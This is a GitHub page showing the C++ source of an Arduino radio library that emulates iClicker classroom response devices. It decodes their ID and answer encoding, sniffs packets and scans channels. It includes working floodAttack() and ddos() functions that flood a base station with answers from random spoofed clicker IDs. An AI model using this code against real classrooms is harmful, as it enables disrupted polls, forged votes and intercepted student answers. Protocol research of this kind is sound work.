-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathiClickerEmulator.cpp
364 lines (264 loc) · 8.45 KB
/
iClickerEmulator.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
#include "iClickerEmulator.h"
#include <string.h>
iClickerEmulator *iClickerEmulator::_self;
iClickerEmulator::iClickerEmulator(uint8_t _cspin, uint8_t _irqpin, uint8_t _irqnum, bool isRFM69HW)
: _radio(_cspin, _irqpin, isRFM69HW, _irqnum)
{
_recvCallback = NULL;
_self = this; //this sucks
_radio.setRecvCallback(&isrRecvCallback);
}
bool iClickerEmulator::begin(iClickerChannel_t chan)
{
//seed rand
randomSeed(analogRead(0) + analogRead(1) + analogRead(2));
_radio.initialize();
_radio.setChannel(chan);
configureRadio(CHANNEL_SEND, DEFAULT_SEND_SYNC_ADDR);
return true;
}
uint8_t iClickerEmulator::encodeAns(uint8_t id[ICLICKER_ID_LEN], iClickerAnswer_t ans)
{
uint8_t x = 1;
uint8_t encoded_id[ICLICKER_ID_LEN];
encodeId(id, encoded_id);
for (uint8_t i=0; i < ICLICKER_ID_LEN; i++)
x += encoded_id[i];
return x + getAnswerOffset(ans);
}
iClickerAnswer_t iClickerEmulator::decodeAns(uint8_t id[ICLICKER_ID_LEN], uint8_t encoded)
{
uint8_t x = 1;
uint8_t encoded_id[ICLICKER_ID_LEN];
encodeId(id, encoded_id);
for (uint8_t i=0; i < ICLICKER_ID_LEN; i++)
x += encoded_id[i];
encoded -= x;
for (uint8_t i=0; i < NUM_ANSWER_CHOICES; i++)
{
if (answerOffsets[i] == encoded)
return (iClickerAnswer_t)i;
}
return ANSWER_A;
}
void iClickerEmulator::encodeId(uint8_t *id, uint8_t *ret)
{
//bits 4-0
ret[0] = ((id[0] >> 5) & 0x4) | ((id[0]<<3) & 0xf8) | (id[1] >> 7);
ret[1] = ((id[1] << 1) & 0xfc) | ((id[0] >> 6) & 0x01);
ret[2] = (id[1] << 7) | ((id[0] >> 5) & 0x01) | ((id[2] >> 1) & 0x7c);
ret[3] = ((id[2] & 0x7) << 5) | ((id[2] & 0x1) << 4);
}
void iClickerEmulator::decodeId(uint8_t *id, uint8_t *ret)
{
ret[0] = (id[0] >> 3) | ((id[2] & 0x1) << 5) | ((id[1] & 0x1) << 6) | ((id[0] & 0x4) << 5);
ret[1] = ((id[0] & 0x1) << 7) | (id[1] >> 1) | (id[2] >> 7);
ret[2] = ((id[2] & 0x7c) << 1) | (id[3] >> 5);
ret[3] = ret[0]^ret[1]^ret[2];
}
bool iClickerEmulator::validId(uint8_t *id)
{
return (id[0]^id[1]^id[2]) == id[3];
}
void iClickerEmulator::randomId(uint8_t *ret)
{
ret[0] = (uint8_t)random(256);
ret[1] = (uint8_t)random(256);
ret[2] = (uint8_t)random(256);
ret[3] = ret[0]^ret[1]^ret[2];
}
iClickerAnswer_t iClickerEmulator::randomAnswer()
{
const uint8_t ans[] = {
(uint8_t)ANSWER_A,
(uint8_t)ANSWER_B,
(uint8_t)ANSWER_C,
(uint8_t)ANSWER_D,
(uint8_t)ANSWER_E
};
return (iClickerAnswer_t)ans[random(sizeof(ans))];
}
char iClickerEmulator::answerChar(iClickerAnswer_t ans)
{
switch(ans)
{
case ANSWER_A:
return 'A';
case ANSWER_B:
return 'B';
case ANSWER_C:
return 'C';
case ANSWER_D:
return 'D';
case ANSWER_E:
return 'E';
case ANSWER_PING:
return 'P';
default:
return 'X'; //unknown
}
}
iClickerAnswer_t iClickerEmulator::charAnswer(char ans)
{
switch(ans)
{
case 'a': case 'A':
return ANSWER_A;
case 'b': case 'B':
return ANSWER_B;
case 'c': case 'C':
return ANSWER_C;
case 'd': case 'D':
return ANSWER_D;
case 'e': case 'E':
return ANSWER_E;
case 'p': case 'P':
return ANSWER_PING;
}
return ANSWER_A;
}
bool iClickerEmulator::submitAnswer(uint8_t id[ICLICKER_ID_LEN], iClickerAnswer_t ans, bool withAck, uint32_t timeout, bool waitClear )
{
configureRadio(CHANNEL_SEND, DEFAULT_SEND_SYNC_ADDR);
iClickerAnswerPacket_t toSend;
encodeId(id, toSend.id); //encode the id for transmission
// zero out last nibble
toSend.id[ICLICKER_ID_LEN-1] &= 0xF0;
// add dumb redundant answer nibble
toSend.id[ICLICKER_ID_LEN-1] |= 0x0F & (getAnswerOffset(ans) + 1);
toSend.answer = encodeAns(id, ans);
//send packet, we can cast toSend to array since all uint8_t bytes
_radio.send(&toSend, PAYLOAD_LENGTH_SEND, waitClear);
// need to determine packet format!
if (withAck)
{
uint32_t start = millis();
configureRadio(CHANNEL_RECV, toSend.id);
bool recvd = false;
while(millis() - start < timeout && !recvd) {
recvd = _radio.receiveDone();
}
//eventually should parse response
recvd &= (_radio.PAYLOADLEN == PAYLOAD_LENGTH_RECV);
//for (uint i=0; i < PAYLOAD_LENGTH_RECV; i++)
// Serial.println(_radio.DATA[i], HEX);
configureRadio(CHANNEL_SEND, DEFAULT_SEND_SYNC_ADDR);
return recvd;
}
return true;
}
void iClickerEmulator::setChannel(iClickerChannel_t chan)
{
_radio.setChannel(chan);
configureRadio(CHANNEL_SEND, DEFAULT_SEND_SYNC_ADDR);
}
iClickerChannel_t iClickerEmulator::getChannel()
{
return _radio.getChannel();
}
void iClickerEmulator::configureRadio(iClickerChannelType_t type, const uint8_t *syncaddr)
{
// set the correct sync addr and len
_radio.setSyncAddr(syncaddr, type == CHANNEL_SEND ? SEND_SYNC_ADDR_LEN : RECV_SYNC_ADDR_LEN);
// put radio on the correct freq and packet size
_radio.setChannelType(type);
}
// go into recv mode
void iClickerEmulator::startPromiscuous(iClickerChannelType_t chanType, void (*cb)(iClickerPacket_t *))
{
_recvCallback = cb;
_radio.setChannelType(chanType);
_radio.enablePromiscuous(); //should call isr recv callback
}
void iClickerEmulator::stopPromiscuous()
{
_recvCallback = NULL;
_radio.disablePromiscuous();
}
// static method called when packet recvd
void iClickerEmulator::isrRecvCallback(uint8_t *buf, uint8_t numBytes)
{
if (!_self->_recvCallback) //make sure not null
return;
iClickerPacket_t recvd;
//process packet
if (numBytes == PAYLOAD_LENGTH_SEND && _self->_radio.getChannelType() == CHANNEL_SEND) {
//recvd from another iclicker
iClickerAnswerPacket_t *pack = (iClickerAnswerPacket_t *)buf;
recvd.type = PACKET_ANSWER;
decodeId(pack->id, recvd.packet.answerPacket.id);
recvd.packet.answerPacket.answer = (uint8_t)decodeAns(recvd.packet.answerPacket.id, pack->answer);
//double check answer nibble matches answer, use this like checksum
if (((pack->id[ICLICKER_ID_LEN-1] - 1) & 0x0F) != getAnswerOffset((iClickerAnswer_t)recvd.packet.answerPacket.answer)) {
return; //ignore
}
} else if (numBytes == PAYLOAD_LENGTH_RECV && _self->_radio.getChannelType() == CHANNEL_RECV) {
//recvd from base station
recvd.type = PACKET_RESPONSE;
memcpy(&recvd.packet.respPacket, buf, PAYLOAD_LENGTH_RECV);
}
_self->_recvCallback(&recvd);
}
bool iClickerEmulator::floodAttack(uint32_t num, uint32_t interval)
{
uint8_t id[ICLICKER_ID_LEN];
iClickerAnswer_t ans;
// put radio into correct mode
configureRadio(CHANNEL_SEND, DEFAULT_SEND_SYNC_ADDR);
for (uint32_t i=0; i < num; i++) {
randomId(id); //get random id
ans = randomAnswer();
//submit answer
if(!submitAnswer(id, ans, false))
return false;
delay(interval);
}
return true;
}
void iClickerEmulator::ddos(uint32_t ms)
{
uint32_t start = millis();
uint8_t id[5][ICLICKER_ID_LEN];
for (uint16_t i=0; i < 5; i++)
randomId(id[i]);
while (millis() - start < ms)
{
for (uint16_t i=0; i < 5; i++)
submitAnswer(id[i], randomAnswer(), false);
delay(0);
}
}
uint16_t iClickerEmulator::ping(uint8_t id[ICLICKER_ID_LEN], uint16_t tries, uint16_t wait)
{
configureRadio(CHANNEL_SEND, DEFAULT_SEND_SYNC_ADDR);
uint16_t total = 0;
for (uint16_t i=0; i < tries; i++)
{
if (submitAnswer(id, ANSWER_PING, true, wait))
total++;
}
return total;
}
iClickerChannelMask_t iClickerEmulator::scan()
{
iClickerChannelMask_t ret = 0x0;
iClickerChannel_t old = getChannel(); //so we can restore channel
uint8_t id[ICLICKER_ID_LEN];
randomId(id); //use random id
for (uint16_t j=0; j < NUM_ICLICKER_CHANNELS; j++)
{
// get the correct channel
const iClickerChannel_t c = iClickerChannels::channels[j];
setChannel(c);
if (ping(id, 1))
ret |= c.mask;
}
setChannel(old);
return ret;
}
uint8_t iClickerEmulator::getAnswerOffset(iClickerAnswer_t ans)
{
if (ans >= NUM_ANSWER_CHOICES || ans < ANSWER_A)
return 0;
return answerOffsets[ans];
}